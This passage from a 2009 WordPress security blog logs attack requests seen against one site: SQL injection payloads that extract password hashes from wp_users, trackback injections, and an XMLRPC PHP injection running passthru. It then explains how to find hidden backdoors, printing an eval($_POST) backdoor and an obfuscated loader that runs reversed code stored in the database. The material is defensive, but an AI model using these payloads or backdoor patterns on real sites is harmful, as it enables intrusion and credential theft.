10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4
FROM wp_users WHERE ID=1%2F*</string></value>
6.
Then he tries a trackback:
URL: /wp-trackback.php?tb_id=1
POST: Array
(
[title] => 1
[url] => 1
[blog_name] => 1
[tb_id] => 666666\'
[1740009377] => 1
[496546471] => 1
)
7.
And another trackback:
URL: /wp-trackback.php?p=1
POST: Array
(
[url] => ekibastos
[title] => ekibastos
[excerpt] => ekibastos
[blog_name] => +AFw-\')/*
[charset] => UTF-7
)
8.
Before finally going back to xmlrpc.php with this POST request:
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>k1b0rg' icq: 76-86-20</string></value></param>
<param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall>
9.
In between, he also tries the following GET requests:
GET
/index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHA
R(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
GET
/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CH
AR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1
10.
Thankfully I upgraded and all those attacks fail.
Those requests have been hitting me for months now with the latest happening 2 days ago.
If that doesn't convince you that you must upgrade and check your website, I don't know what will.
PS. For completeness, here's another common XMLRPC attack I see all the time. Ironically, this actually hit my server from 189.3.105.2 after I published this post.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method
</methodName>
<params>
<param>
<value><name>','')); echo
'______BEGIN______'; passthru('id'); echo
'_____FIM_____'; exit;/*</name></value>
</param>
</params>
</methodCall>
September 21, 2009, 4:27 pm
Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/
Over here , Jorge Escobar is writing about how he got hacked with the latest version of
WordPress. After some minor back and forth on FriendFeed , I got him to do a search which found a malicious backdoor he might not otherwise have found.
In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.
Non-technical users can safely ignore this post.
What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.
However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.
First, the obvious stuff:
A backdoor is code that has been added to your site.
It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
It will be disguised to seem innocuous, or at least non threatening.
It will most likely involve additions to the database.
Let’s go over these individual points one at a time.
Added code
While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any
PHP code they like, usually through the use of the eval command.
A simple example would be this:
1 eval($_POST['attacker_key']);
This, very simply, executes any PHP code sent to it from a browser.
Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.
How to hide code
First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:
1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.
2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.
3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.
The art of disguise
This one is easy.
Step 1: Pick a name that looks harmless. wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.
Step 2: Hide the code itself.
Except in special circumstances , legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.
However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding .
Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode .
Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator ) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.
Smarter authors realize this, and so have taken steps to hide even that sign…
Database obfuscation
Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /*
PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.
Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).
3
4
1
2
5
6 global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'"); preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
1.
It retrieves a value from the WordPress database.
2.
It pulls a specific section of that value out.
3.
It creates a function to run that value as PHP code.
4.
It runs that function.
Note how it cleverly avoids all the warning signs.
Nowhere does it use “eval”.
base64 is not visible at all.
The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.
The actual value in the database looked like this:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave
Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever.
Searching the files for these two warning signs would have uncovered nothing at all.
Searching the database for same would have also shown nothing.
The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.
So, break down how this code works.
1.
The hacked wp-config.php code causes an include of a nondescript file, called wpcache.old.
2.
That code, which does not use any trigger words, loads a nondescript value from the options table.
3.
It performs some string operations on that code, then executes it.
4.
The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.
Summary
This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.
And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.
The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.